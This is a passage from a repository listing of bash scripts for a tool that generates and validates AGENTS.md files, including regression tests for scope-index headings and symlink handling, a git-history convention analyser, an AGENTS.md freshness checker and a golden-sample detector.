manifest tests passed." -
test-scope-index-heading.sh 4.3 KB
#!/usr/bin/env bash # Regression test for the scope-index heading contract between # generate-agents.sh and validate-structure.sh (issue #55). # # generate-agents.sh emits the root scope index under the heading # "## Scoped AGENTS.md (MUST read when working in these directories)" # while older output used the legacy heading # "## Index of scoped AGENTS.md". # validate-structure.sh must accept BOTH so a freshly generated root does not # fail the skill's own structure validation, while a bloated root without any # scope index still fails. set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")" GENERATE="$SCRIPTS_DIR/generate-agents.sh" VALIDATE="$SCRIPTS_DIR/validate-structure.sh" NEW_HEADING='## Scoped AGENTS.md (MUST read when working in these directories)' LEGACY_HEADING='## Index of scoped AGENTS.md' WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT fail() { echo "❌ FAIL: $1"; exit 1; } pass() { echo "✅ PASS: $1"; } # Build a minimal repo with a scoped directory so the generated root exceeds # 50 lines and includes a populated scope index. build_fixture() { local dir="$1" rm -rf "$dir" mkdir -p "$dir/src" "$dir/.github/workflows" cat > "$dir/package.json" <<'JSON' { "name": "fixture", "version": "1.0.0", "scripts": { "test": "vitest", "build": "tsc" } } JSON echo "console.log('hi')" > "$dir/src/index.ts" echo "name: ci" > "$dir/.github/workflows/ci.yml" git -C "$dir" init -q git -C "$dir" -c user.email=t@t.t -c user.name=t add -A git -C "$dir" -c user.email=t@t.t -c user.name=t commit -qm init } # --- Test 1: generated root (new heading) passes validation ----------------- FX1="$WORK/new-heading" build_fixture "$FX1" bash "$GENERATE" "$FX1" --style=thin >/dev/null 2>&1 || fail "generate-agents.sh errored" grep -qF "$NEW_HEADING" "$FX1/AGENTS.md" \ || fail "generator no longer emits the expected heading: $NEW_HEADING" lines=$(wc -l < "$FX1/AGENTS.md") [ "$lines" -gt 50 ] || fail "generated root is only $lines lines; expected >50 to exercise the scope-index path" if bash "$VALIDATE" "$FX1" >/dev/null 2>&1; then pass "generated root ($lines lines, new heading) validates" else fail "validate-structure.sh rejected a freshly generated root (#55 regression)" fi # --- Test 2: legacy heading still accepted (backward compatibility) ---------- FX2="$WORK/legacy-heading" cp -r "$FX1" "$FX2" # Rewrite only the heading line, keeping the rest of the generated root intact. # Use a temp file + mv rather than `sed -i` so the test stays portable across # GNU sed (Linux) and BSD sed (macOS); this repo's CI also runs on macos-latest. sed "s|^${NEW_HEADING}\$|${LEGACY_HEADING}|" "$FX2/AGENTS.md" > "$FX2/AGENTS.md.tmp" mv "$FX2/AGENTS.md.tmp" "$FX2/AGENTS.md" grep -qF "$LEGACY_HEADING" "$FX2/AGENTS.md" || fail "could not rewrite heading to legacy form" if bash "$VALIDATE" "$FX2" >/dev/null 2>&1; then pass "root with legacy heading still validates (backward compatible)" else fail "validate-structure.sh rejected the legacy scope-index heading" fi # --- Test 3: title-case heading (older generated roots) accepted (#81) ------- TITLE_HEADING='## Index of Scoped AGENTS.md' FX4="$WORK/title-case-heading" cp -r "$FX1" "$FX4" # Temp file + mv keeps this portable across GNU and BSD sed (see Test 2). sed "s|^${NEW_HEADING}\$|${TITLE_HEADING}|" "$FX4/AGENTS.md" > "$FX4/AGENTS.md.tmp" mv "$FX4/AGENTS.md.tmp" "$FX4/AGENTS.md" grep -qF "$TITLE_HEADING" "$FX4/AGENTS.md" || fail "could not rewrite heading to title-case form" if bash "$VALIDATE" "$FX4" >/dev/null 2>&1; then pass "root with title-case heading validates (#81)" else fail "validate-structure.sh rejected the title-case scope-index heading (#81 regression)" fi # --- Test 4: bloated root without any scope index still fails ---------------- FX3="$WORK/no-heading" cp -r "$FX1" "$FX3" # Drop the scope-index heading so the >50-line root has no index at all. # Temp file + mv keeps this portable across GNU and BSD sed (see Test 2). sed "/^${NEW_HEADING}\$/d" "$FX3/AGENTS.md" > "$FX3/AGENTS.md.tmp" mv "$FX3/AGENTS.md.tmp" "$FX3/AGENTS.md" if bash "$VALIDATE" "$FX3" >/dev/null 2>&1; then fail "validate-structure.sh accepted a bloated root with no scope index" else pass "bloated root without a scope index is still rejected" fi echo "All scope-index heading regression tests passed." -
test-scope-index-keeps-existing.sh 2.4 KB
#!/usr/bin/env bash # Regression test: a directory that already carries an AGENTS.md must appear in # the root scope index, even when detect-scopes.sh has no rule for that # directory name. # # The bug: the index was built purely from detected scopes. detect-scopes.sh # knows a fixed set of directory names, so a hand-authored scoped file # elsewhere (TYPO3 `Configuration/`, for one) was silently dropped from the # root index on `--update`. An agent reading the root then never learns the # file exists, which defeats the precedence rule the index exists to serve — # and nothing reports the omission. set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")" DETECT="$SCRIPTS_DIR/detect-scopes.sh" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT fail() { echo "❌ FAIL: $1"; exit 1; } pass() { echo "✅ PASS: $1"; } # A PHP project with a scoped AGENTS.md in a directory the detector has no # rule for, plus one it does recognise. mkdir -p "$WORK/proj/Configuration" "$WORK/proj/Classes" cat > "$WORK/proj/composer.json" <<'JSON' {"name": "acme/thing", "require": {"php": "^8.2"}} JSON for i in 1 2 3 4 5 6; do echo "<?php" > "$WORK/proj/Classes/File$i.php" echo "services:" > "$WORK/proj/Configuration/Services$i.yaml" done cat > "$WORK/proj/Configuration/AGENTS.md" <<'MD' # Configuration ## Overview DI services, TCA and backend routes for this extension. MD echo "# root" > "$WORK/proj/AGENTS.md" SCOPES=$(cd "$WORK/proj" && bash "$DETECT" . 2>/dev/null) printf '%s' "$SCOPES" | jq -e '.scopes[] | select(.path == "Configuration")' >/dev/null 2>&1 \ || fail "a directory with its own AGENTS.md was not reported as a scope" pass "an existing scoped AGENTS.md is reported even without a detection rule" # The root file itself must never be listed as a scope of itself. if printf '%s' "$SCOPES" | jq -e '.scopes[] | select(.path == "." or .path == "AGENTS.md")' >/dev/null 2>&1; then fail "the root AGENTS.md was reported as its own scope" fi pass "the root AGENTS.md is not listed as a scope" # A recognised directory keeps its specific type rather than being relabelled. got=$(printf '%s' "$SCOPES" | jq -r '.scopes[] | select(.path == "Classes") | .type') [ "$got" != "existing" ] && [ -n "$got" ] \ || fail "a detected scope lost its type (got '$got')" pass "a detected scope keeps its own type" echo "All scope-index existing-file regression tests passed." -
test-symlink-write-boundary.sh 4.3 KB
#!/usr/bin/env bash # Regression test for the CLAUDE.md/GEMINI.md write boundary (issues #102, #103). # # Two defects, both in generate-agents.sh: # #102 --no-symlinks was documented in --help but dropped by the parser, so # the symlinks were created regardless of the flag. # #103 an existing CLAUDE.md that is itself a symlink was treated like a # missing file and repointed to AGENTS.md — no --force, no message — # because the guard tested "[ -L ] || [ ! -e ]". set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")" GENERATE="$SCRIPTS_DIR/generate-agents.sh" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT fail() { echo "❌ FAIL: $1"; exit 1; } pass() { echo "✅ PASS: $1"; } # Minimal JS fixture: enough for a root AGENTS.md, no scopes needed. make_fixture() { local fx="$1" mkdir -p "$fx/src" cat > "$fx/package.json" <<'JSON' { "name": "fixture", "version": "1.0.0", "scripts": { "test": "echo t" } } JSON for i in 1 2 3 4 5; do printf 'export const c%s = %s\n' "$i" "$i" > "$fx/src/c$i.js"; done git -C "$fx" init -q git -C "$fx" -c user.email=t@t.t -c user.name=t add -A git -C "$fx" -c user.email=t@t.t -c user.name=t commit -qm init } # --- Test 1 (#102): --no-symlinks suppresses both compatibility files FX="$WORK/no-symlinks" make_fixture "$FX" bash "$GENERATE" "$FX" --no-symlinks >/dev/null 2>&1 || fail "generate-agents.sh errored" [ -f "$FX/AGENTS.md" ] || fail "--no-symlinks suppressed AGENTS.md itself" [ -e "$FX/CLAUDE.md" ] && fail "--no-symlinks still created CLAUDE.md" [ -e "$FX/GEMINI.md" ] && fail "--no-symlinks still created GEMINI.md" pass "--no-symlinks creates AGENTS.md and no compatibility files" # --- Test 2: the default still creates them (companion to test 1) FX="$WORK/default" make_fixture "$FX" bash "$GENERATE" "$FX" >/dev/null 2>&1 || fail "generate-agents.sh errored" [ -L "$FX/CLAUDE.md" ] || fail "default run did not symlink CLAUDE.md" [ "$(readlink "$FX/CLAUDE.md")" = "AGENTS.md" ] || fail "CLAUDE.md points elsewhere" pass "default run symlinks CLAUDE.md → AGENTS.md" # --- Test 3 (#103): a foreign symlink is kept, and the user is told FX="$WORK/foreign-link" make_fixture "$FX" mkdir -p "$WORK/shared" printf '# curated rules\n' > "$WORK/shared/CLAUDE.md" ln -s ../shared/CLAUDE.md "$FX/CLAUDE.md" OUT="$(bash "$GENERATE" "$FX" 2>&1)" || fail "generate-agents.sh errored" [ "$(readlink "$FX/CLAUDE.md")" = "../shared/CLAUDE.md" ] \ || fail "foreign CLAUDE.md symlink was repointed without --force" grep -q "Kept: " <<<"$OUT" || fail "no notice printed for the kept file (output was: $OUT)" pass "foreign CLAUDE.md symlink kept, notice printed" # --- Test 4: a regular foreign file is kept too, and reported FX="$WORK/foreign-file" make_fixture "$FX" printf '# my own rules\n' > "$FX/GEMINI.md" OUT="$(bash "$GENERATE" "$FX" 2>&1)" || fail "generate-agents.sh errored" grep -qx '# my own rules' "$FX/GEMINI.md" || fail "regular GEMINI.md was overwritten" grep -q "Kept: GEMINI.md" <<<"$OUT" || fail "no notice printed for kept GEMINI.md (output was: $OUT)" pass "regular GEMINI.md kept, notice printed" # --- Test 5: --force replaces a foreign symlink, --dry-run --force does not FX="$WORK/force" make_fixture "$FX" ln -s ../shared/CLAUDE.md "$FX/CLAUDE.md" bash "$GENERATE" "$FX" --force --dry-run >/dev/null 2>&1 || fail "generate-agents.sh errored" [ "$(readlink "$FX/CLAUDE.md")" = "../shared/CLAUDE.md" ] \ || fail "--dry-run --force modified the tree" bash "$GENERATE" "$FX" --force >/dev/null 2>&1 || fail "generate-agents.sh errored" [ "$(readlink "$FX/CLAUDE.md")" = "AGENTS.md" ] || fail "--force did not replace the foreign symlink" pass "--force replaces, --dry-run --force does not" # --- Test 6: a second run over our own symlink is a no-op, not a "Kept" notice FX="$WORK/idempotent" make_fixture "$FX" bash "$GENERATE" "$FX" >/dev/null 2>&1 || fail "generate-agents.sh errored" OUT="$(bash "$GENERATE" "$FX" 2>&1)" || fail "generate-agents.sh errored on second run" grep -q "Kept: CLAUDE.md" <<<"$OUT" && fail "our own symlink was reported as a foreign file" [ "$(readlink "$FX/CLAUDE.md")" = "AGENTS.md" ] || fail "second run broke CLAUDE.md" pass "re-running keeps our own symlink without a notice" echo "" echo "All symlink write-boundary tests passed."
-
-
analyze-git-history.sh 9.8 KB
#!/usr/bin/env bash # Analyze git history for patterns (commit conventions, branching, releases) set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Check if we're in a git repository if ! git rev-parse --git-dir > /dev/null 2>&1; then echo '{"error": "Not a git repository"}' exit 0 fi SAMPLE_SIZE=100 # Helper to count grep matches (returns 0 if no matches instead of error) count_matches() { local pattern="$1" local input="$2" local flags="${3:-}" local count # shellcheck disable=SC2086 # flags must be unquoted to work as separate arguments count=$(echo "$input" | grep $flags -cE "$pattern" 2>/dev/null) || count=0 echo "$count" } # Analyze commit message conventions analyze_commit_convention() { local commits commits=$(git log --oneline -"$SAMPLE_SIZE" --pretty=format:"%s" 2>/dev/null || echo "") if [ -z "$commits" ]; then echo '{"convention": "unknown", "confidence": 0}' return fi local total_commits total_commits=$(echo "$commits" | wc -l) # Count conventional commits (feat:, fix:, docs:, style:, refactor:, test:, chore:, etc.) local conventional_count conventional_count=$(count_matches '^(feat|fix|docs|style|refactor|perf|test|build|ci|chore|revert)(\(.+\))?(!)?:' "$commits") # Count [TAG] style commits local tag_count tag_count=$(count_matches '^\[.+\]' "$commits") # Count ticket reference commits (JIRA-123, #123, etc.) local ticket_count ticket_count=$(count_matches '([A-Z]+-[0-9]+|#[0-9]+)' "$commits" "-i") # Count emoji commits local emoji_count emoji_count=$(count_matches '^(✨|🐛|📝|🎨|♻️|🚀|✅|🔧|⬆️|🔒)' "$commits") # Determine convention local convention="freeform" local confidence=0 local conventional_pct=$((conventional_count * 100 / total_commits)) local tag_pct=$((tag_count * 100 / total_commits)) local ticket_pct=$((ticket_count * 100 / total_commits)) local emoji_pct=$((emoji_count * 100 / total_commits)) if [ "$conventional_pct" -ge 50 ]; then convention="conventional-commits" confidence=$conventional_pct elif [ "$tag_pct" -ge 50 ]; then convention="tag-prefix" confidence=$tag_pct elif [ "$emoji_pct" -ge 30 ]; then convention="emoji" confidence=$emoji_pct elif [ "$ticket_pct" -ge 50 ]; then convention="ticket-reference" confidence=$ticket_pct fi # Extract common prefixes local prefixes=() if [ "$convention" = "conventional-commits" ]; then mapfile -t prefixes < <(echo "$commits" | grep -oE '^(feat|fix|docs|style|refactor|perf|test|build|ci|chore|revert)' | sort | uniq -c | sort -rn | head -5 | awk '{print $2}') elif [ "$convention" = "tag-prefix" ]; then mapfile -t prefixes < <(echo "$commits" | grep -oE '^\[[^\]]+\]' | sort | uniq -c | sort -rn | head -5 | awk '{print $2}') fi local prefixes_json="[]" [ ${#prefixes[@]} -gt 0 ] && prefixes_json=$(printf '%s\n' "${prefixes[@]}" | jq -R . | jq -s .) jq -n \ --arg convention "$convention" \ --arg confidence "$confidence" \ --argjson prefixes "$prefixes_json" \ --arg total "$total_commits" \ --arg conventional "$conventional_count" \ --arg tag "$tag_count" \ --arg ticket "$ticket_count" \ '{ convention: $convention, confidence: ($confidence | tonumber), common_prefixes: $prefixes, stats: { total_analyzed: ($total | tonumber), conventional_commits: ($conventional | tonumber), tag_style: ($tag | tonumber), ticket_references: ($ticket | tonumber) } }' } # Analyze branch naming analyze_branch_naming() { local branches branches=$(git branch -r 2>/dev/null | grep -v HEAD | sed 's/.*\///' | head -50 || echo "") if [ -z "$branches" ]; then echo '{"pattern": "unknown", "stats": {"total_branches": 0}}' return fi local total_branches total_branches=$(echo "$branches" | grep -c . || echo "0") if [ "$total_branches" -eq 0 ]; then echo '{"pattern": "unknown", "stats": {"total_branches": 0}}' return fi # Count different patterns local feature_count feature_count=$(count_matches '^feature[/-]' "$branches") local fix_count fix_count=$(count_matches '^(fix|bugfix|hotfix)[/-]' "$branches") local release_count release_count=$(count_matches '^release[/-]' "$branches") local ticket_count ticket_count=$(count_matches '[A-Z]+-[0-9]+' "$branches" "-i") # Determine pattern local pattern="freeform" local has_feature="false" local has_fix="false" [[ "$feature_count" -gt 2 ]] && has_feature="true" [[ "$fix_count" -gt 2 ]] && has_fix="true" if [[ "$has_feature" == "true" ]] || [[ "$has_fix" == "true" ]]; then pattern="gitflow-style" fi if [ "$total_branches" -gt 0 ] && [ "$ticket_count" -gt $((total_branches / 3)) ]; then pattern="ticket-based" fi jq -n \ --arg pattern "$pattern" \ --argjson has_feature "$has_feature" \ --argjson has_fix "$has_fix" \ --arg total "$total_branches" \ --arg feature "$feature_count" \ --arg fix "$fix_count" \ --arg release "$release_count" \ '{ pattern: $pattern, uses_feature_branches: $has_feature, uses_fix_branches: $has_fix, stats: { total_branches: ($total | tonumber), feature_branches: ($feature | tonumber), fix_branches: ($fix | tonumber), release_branches: ($release | tonumber) } }' } # Analyze merge strategy analyze_merge_strategy() { local merge_commits merge_commits=$(git log --oneline -"$SAMPLE_SIZE" --merges 2>/dev/null | wc -l || echo "0") local total_commits total_commits=$(git log --oneline -"$SAMPLE_SIZE" 2>/dev/null | wc -l || echo "0") if [ "$total_commits" -eq 0 ]; then echo '{"strategy": "unknown"}' return fi local merge_pct=$((merge_commits * 100 / total_commits)) local strategy="unknown" if [ "$merge_pct" -lt 5 ]; then strategy="squash-and-merge" elif [ "$merge_pct" -gt 20 ]; then strategy="merge-commits" else strategy="mixed" fi # Check for squash patterns in commit messages local squash_patterns squash_patterns=$(git log --oneline -"$SAMPLE_SIZE" 2>/dev/null | grep -cE '\(#[0-9]+\)$' || echo "0") if [ "$squash_patterns" -gt $((total_commits / 3)) ]; then strategy="squash-and-merge" fi jq -n \ --arg strategy "$strategy" \ --arg merge_pct "$merge_pct" \ --arg merge_commits "$merge_commits" \ --arg total "$total_commits" \ '{ strategy: $strategy, merge_commit_percentage: ($merge_pct | tonumber), stats: { merge_commits: ($merge_commits | tonumber), total_commits: ($total | tonumber) } }' } # Analyze release tagging analyze_releases() { local tags tags=$(git tag -l 2>/dev/null | tail -20 || echo "") if [ -z "$tags" ]; then echo '{"pattern": "none", "total_tags": 0}' return fi local total_tags total_tags=$(echo "$tags" | wc -l) # Check for semver pattern (v1.2.3 or 1.2.3) local semver_count semver_count=$(echo "$tags" | grep -cE '^v?[0-9]+\.[0-9]+\.[0-9]+' 2>/dev/null || echo "0") # Check for calver pattern (2024.01.15 or similar) local calver_count calver_count=$(echo "$tags" | grep -cE '^[0-9]{4}\.[0-9]{2}' 2>/dev/null || echo "0") local pattern="custom" if [ "$semver_count" -gt $((total_tags / 2)) ]; then pattern="semver" elif [ "$calver_count" -gt $((total_tags / 2)) ]; then pattern="calver" fi # Check for v prefix local has_v_prefix has_v_prefix=$([[ $(echo "$tags" | grep -cE '^v' || echo "0") -gt $((total_tags / 2)) ]] && echo "true" || echo "false") # Get latest tag local latest_tag latest_tag=$(git describe --tags --abbrev=0 2>/dev/null || echo "") jq -n \ --arg pattern "$pattern" \ --argjson has_v_prefix "$has_v_prefix" \ --arg latest "$latest_tag" \ --arg total "$total_tags" \ --arg semver "$semver_count" \ '{ pattern: $pattern, uses_v_prefix: $has_v_prefix, latest_tag: $latest, stats: { total_tags: ($total | tonumber), semver_tags: ($semver | tonumber) } }' } # Analyze default branch analyze_default_branch() { local default_branch default_branch=$(git symbolic-ref refs/remotes/origin/HEAD 2>/dev/null | sed 's@^refs/remotes/origin/@@' || echo "") if [ -z "$default_branch" ]; then # Try to detect from common names if git show-ref --verify --quiet refs/heads/main 2>/dev/null; then default_branch="main" elif git show-ref --verify --quiet refs/heads/master 2>/dev/null; then default_branch="master" fi fi jq -n --arg branch "$default_branch" '{default_branch: $branch}' } # Run all analyses COMMIT_CONVENTION=$(analyze_commit_convention) BRANCH_NAMING=$(analyze_branch_naming) MERGE_STRATEGY=$(analyze_merge_strategy) RELEASES=$(analyze_releases) DEFAULT_BRANCH=$(analyze_default_branch) # Build final JSON output jq -n \ --argjson commits "$COMMIT_CONVENTION" \ --argjson branches "$BRANCH_NAMING" \ --argjson merge "$MERGE_STRATEGY" \ --argjson releases "$RELEASES" \ --argjson default "$DEFAULT_BRANCH" \ '{ commit_convention: $commits, branch_naming: $branches, merge_strategy: $merge, releases: $releases, default_branch: $default.default_branch }' -
check-freshness.sh 8.3 KB
#!/usr/bin/env bash # Check if AGENTS.md files are up to date with recent git commits # Compares the "Last updated" date in each AGENTS.md with commits affecting that scope set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Options VERBOSE=false JSON=false DAYS_THRESHOLD=7 # Warn if commits are older than this many days after last update (used below) # Parse flags while [[ $# -gt 0 ]]; do case $1 in --verbose|-v) VERBOSE=true shift ;; --json) JSON=true shift ;; --threshold=*) # shellcheck disable=SC2034 # Reserved for future threshold-based staleness check DAYS_THRESHOLD="${1#*=}" shift ;; --help|-h) cat <<EOF Usage: check-freshness.sh [PROJECT_DIR] [OPTIONS] Check if AGENTS.md files are up to date with recent git commits. Options: --verbose, -v Show detailed output including commit lists --json Emit machine-readable JSON on stdout (human output suppressed) --threshold=DAYS Days after last update to consider stale (default: 7) --help, -h Show this help message Examples: check-freshness.sh . # Check all AGENTS.md freshness check-freshness.sh . --verbose # Show commit details check-freshness.sh . --threshold=14 # Use 14-day threshold EOF exit 0 ;; *) PROJECT_DIR="$1" shift ;; esac done # Ensure we're in a git repository if ! git rev-parse --git-dir > /dev/null 2>&1; then echo "Error: Not a git repository" exit 1 fi # In JSON mode, route all human-readable output to /dev/null and reserve the # original stdout (fd 3) for the single JSON document emitted at the end. This # keeps --json strictly additive: the default (no-flag) path is untouched. JSON_FILES=() if [[ "$JSON" = true ]]; then exec 3>&1 1>/dev/null fi STALE_COUNT=0 FRESH_COUNT=0 UNKNOWN_COUNT=0 log() { if [ "$VERBOSE" = true ]; then echo "[INFO] $*" >&2 fi } # Extract the "Last updated" date from AGENTS.md header # Format: <!-- Managed by agent: ... Last updated: YYYY-MM-DD --> extract_last_updated() { local file="$1" local date_str # Try to extract date from header comment date_str=$(grep -o 'Last updated: [0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\}' "$file" 2>/dev/null | head -1 | sed 's/Last updated: //') if [ -n "$date_str" ]; then echo "$date_str" return 0 fi # Try alternative formats # "Created: YYYY-MM-DD" or "Updated: YYYY-MM-DD" date_str=$(grep -oE '(Created|Updated): [0-9]{4}-[0-9]{2}-[0-9]{2}' "$file" 2>/dev/null | head -1 | grep -oE '[0-9]{4}-[0-9]{2}-[0-9]{2}') if [ -n "$date_str" ]; then echo "$date_str" return 0 fi return 1 } # Get the scope directory for an AGENTS.md file # Root AGENTS.md covers the whole repo, scoped files cover their directory get_scope_path() { local agents_file="$1" local dir dir=$(dirname "$agents_file") if [ "$dir" = "." ]; then echo "." # Root covers everything else echo "$dir" fi } # Count commits in a scope since a given date count_commits_since() { local scope_path="$1" local since_date="$2" local count if [ "$scope_path" = "." ]; then # Root: check all commits except AGENTS.md files themselves count=$(git log --oneline --since="$since_date" -- . ':(exclude)**/AGENTS.md' 2>/dev/null | wc -l) else # Scoped: check commits in that directory count=$(git log --oneline --since="$since_date" -- "$scope_path" ':(exclude)**/AGENTS.md' 2>/dev/null | wc -l) fi echo "$count" } # Get commit summary for a scope since a given date get_commits_since() { local scope_path="$1" local since_date="$2" if [ "$scope_path" = "." ]; then git log --oneline --since="$since_date" -- . ':(exclude)**/AGENTS.md' 2>/dev/null | head -10 else git log --oneline --since="$since_date" -- "$scope_path" ':(exclude)**/AGENTS.md' 2>/dev/null | head -10 fi } # Get files changed in a scope since a given date get_changed_files_since() { local scope_path="$1" local since_date="$2" if [ "$scope_path" = "." ]; then git log --name-only --pretty=format: --since="$since_date" -- . ':(exclude)**/AGENTS.md' 2>/dev/null | sort -u | grep -v '^$' | head -20 else git log --name-only --pretty=format: --since="$since_date" -- "$scope_path" ':(exclude)**/AGENTS.md' 2>/dev/null | sort -u | grep -v '^$' | head -20 fi } # Check freshness of a single AGENTS.md file check_file_freshness() { local agents_file="$1" local rel_path="${agents_file#"$PROJECT_DIR"/}" local last_updated local scope_path local commit_count echo "Checking: $rel_path" # Extract last updated date if ! last_updated=$(extract_last_updated "$agents_file"); then echo " ⚠️ No 'Last updated' date found in header" ((UNKNOWN_COUNT++)) || true if [[ "$JSON" = true ]]; then JSON_FILES+=("$(jq -nc --arg path "$rel_path" \ '{path:$path,status:"unknown",last_updated:null,commits_since:null}')") fi return 1 fi log " Last updated: $last_updated" # Get scope path scope_path=$(get_scope_path "$agents_file") log " Scope: $scope_path" # Count commits since last update commit_count=$(count_commits_since "$scope_path" "$last_updated") if [ "$commit_count" -eq 0 ]; then echo " ✅ Up to date (no commits since $last_updated)" ((FRESH_COUNT++)) || true if [[ "$JSON" = true ]]; then JSON_FILES+=("$(jq -nc --arg path "$rel_path" --arg lu "$last_updated" \ '{path:$path,status:"fresh",last_updated:$lu,commits_since:0}')") fi return 0 fi # Check if commits are significant echo " ⚠️ Potentially stale: $commit_count commit(s) since $last_updated" ((STALE_COUNT++)) || true if [[ "$JSON" = true ]]; then JSON_FILES+=("$(jq -nc --arg path "$rel_path" --arg lu "$last_updated" --argjson cs "$commit_count" \ '{path:$path,status:"stale",last_updated:$lu,commits_since:$cs}')") fi if [ "$VERBOSE" = true ]; then echo " Recent commits:" get_commits_since "$scope_path" "$last_updated" | while read -r line; do echo " - $line" done echo " Changed files:" get_changed_files_since "$scope_path" "$last_updated" | while read -r line; do echo " - $line" done fi return 1 } # Main echo "Checking AGENTS.md freshness in: $PROJECT_DIR" echo "" # Find all AGENTS.md files AGENTS_FILES=$(find "$PROJECT_DIR" -name "AGENTS.md" -type f 2>/dev/null | sort) if [ -z "$AGENTS_FILES" ]; then echo "No AGENTS.md files found" exit 0 fi # Check each file. # `|| true`: check_file_freshness returns non-zero for stale/unknown files; without # this guard `set -e` aborts the loop on the first such file, processing only one # file and defeating the summary below (and forcing the validate-structure caller to # always warn). Tolerating the non-zero lets every file be counted. while read -r file; do check_file_freshness "$file" || true echo "" done <<< "$AGENTS_FILES" # Emit JSON document (machine-readable) and exit before the human summary. if [[ "$JSON" = true ]]; then if [[ "${#JSON_FILES[@]}" -eq 0 ]]; then files_json='[]' else files_json=$(printf '%s\n' "${JSON_FILES[@]}" | jq -s '.') fi jq -nc \ --argjson files "$files_json" \ --argjson fresh "$FRESH_COUNT" \ --argjson stale "$STALE_COUNT" \ --argjson unknown "$UNKNOWN_COUNT" \ '{script:"check-freshness",schema:1,summary:{fresh:$fresh,stale:$stale,unknown:$unknown},files:$files}' >&3 if [[ "$STALE_COUNT" -gt 0 ]]; then exit 1; fi exit 0 fi # Summary echo "=== Freshness Summary ===" echo "✅ Up to date: $FRESH_COUNT" echo "⚠️ Potentially stale: $STALE_COUNT" [ "$UNKNOWN_COUNT" -gt 0 ] && echo "❓ Unknown (no date): $UNKNOWN_COUNT" if [ "$STALE_COUNT" -gt 0 ]; then echo "" echo "Recommendation: Review the stale AGENTS.md files and update if needed." echo "Use --verbose to see which commits and files have changed." exit 1 fi exit 0 -
detect-golden-samples.sh 5.3 KB
#!/usr/bin/env bash # Detect golden sample files (canonical patterns to follow) set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Check if git is available if ! git rev-parse --git-dir > /dev/null 2>&1; then echo "" exit 0 fi # Get project language PROJECT_INFO=$(bash "$(dirname "$0")/detect-project.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"language":"unknown"}') LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language') # Find high-churn files (frequently modified = important) get_high_churn_files() { git log --name-only --pretty=format: --since="6 months ago" 2>/dev/null | \ grep -v '^$' | \ sort | uniq -c | sort -rn | head -20 } # Find entrypoint files find_entrypoints() { case "$LANGUAGE" in "go") find . -name "main.go" -type f 2>/dev/null | head -5 ;; "typescript") for f in src/index.ts src/index.tsx src/main.ts src/main.tsx app/page.tsx pages/index.tsx; do [ -f "$f" ] && echo "$f" done ;; "php") for f in public/index.php src/Kernel.php ext_localconf.php; do [ -f "$f" ] && echo "$f" done ;; "python") for f in src/main.py main.py app/main.py __main__.py; do [ -f "$f" ] && echo "$f" done ;; esac } # Find component/model examples find_examples() { case "$LANGUAGE" in "go") # Find a service or handler file find . -path ./vendor -prune -o -name "*_service.go" -type f -print 2>/dev/null | head -1 find . -path ./vendor -prune -o -name "*_handler.go" -type f -print 2>/dev/null | head -1 ;; "typescript") # Find a component find . -path ./node_modules -prune -o -name "*.tsx" -type f -print 2>/dev/null | \ grep -E "(Button|Card|Modal|Form)" | head -1 # Find an API route find . -path ./node_modules -prune -o -path "*/api/*" -name "*.ts" -type f -print 2>/dev/null | head -1 ;; "php") # Find a controller find . -path ./vendor -prune -o -name "*Controller.php" -type f -print 2>/dev/null | head -1 # Find a service find . -path ./vendor -prune -o -name "*Service.php" -type f -print 2>/dev/null | head -1 ;; "python") # Find a service or model find . -path ./.venv -prune -o -name "*_service.py" -type f -print 2>/dev/null | head -1 find . -path ./.venv -prune -o -name "models.py" -type f -print 2>/dev/null | head -1 ;; esac } # Find test examples find_test_examples() { case "$LANGUAGE" in "go") find . -path ./vendor -prune -o -name "*_test.go" -type f -print 2>/dev/null | head -1 ;; "typescript") find . -path ./node_modules -prune -o -name "*.test.ts" -o -name "*.test.tsx" -type f -print 2>/dev/null | head -1 ;; "php") find . -path ./vendor -prune -o -name "*Test.php" -type f -print 2>/dev/null | head -1 ;; "python") find . -path ./.venv -prune -o -name "test_*.py" -type f -print 2>/dev/null | head -1 ;; esac } # Describe file based on name/path describe_file() { local file="$1" case "$file" in *main.go|*main.ts|*main.py|*/index.ts*) echo "Entrypoint" ;; *Controller*) echo "Controller" ;; *Service*|*_service*) echo "Service" ;; *Handler*|*_handler*) echo "Handler" ;; *Model*|*models*) echo "Model" ;; *Test*|*_test*) echo "Test" ;; *Button*|*Card*|*Modal*) echo "Component" ;; */api/*) echo "API route" ;; *) echo "Reference" ;; esac } # Describe key patterns in file describe_patterns() { local file="$1" local patterns="" if [ -f "$file" ]; then # Check for common patterns grep -l "interface" "$file" > /dev/null 2>&1 && patterns="$patterns, interface" grep -l "async" "$file" > /dev/null 2>&1 && patterns="$patterns, async" grep -l "class" "$file" > /dev/null 2>&1 && patterns="$patterns, class" grep -l "test\|describe\|it(" "$file" > /dev/null 2>&1 && patterns="$patterns, tests" grep -l "func.*error" "$file" > /dev/null 2>&1 && patterns="$patterns, error handling" fi # Remove leading ", " echo "${patterns#, }" } # Generate output in table row format output="" # Add entrypoints while IFS= read -r file; do [ -z "$file" ] && continue file="${file#./}" desc=$(describe_file "$file") patterns=$(describe_patterns "$file") [ -n "$patterns" ] && patterns=" ($patterns)" output="$output| $desc | \`$file\` | ${patterns:-standard patterns} |\n" done < <(find_entrypoints) # Add examples while IFS= read -r file; do [ -z "$file" ] && continue file="${file#./}" desc=$(describe_file "$file") patterns=$(describe_patterns "$file") [ -n "$patterns" ] && patterns=" ($patterns)" output="$output| $desc | \`$file\` | ${patterns:-standard patterns} |\n" done < <(find_examples) # Add test example while IFS= read -r file; do [ -z "$file" ] && continue file="${file#./}" output="$output| Test | 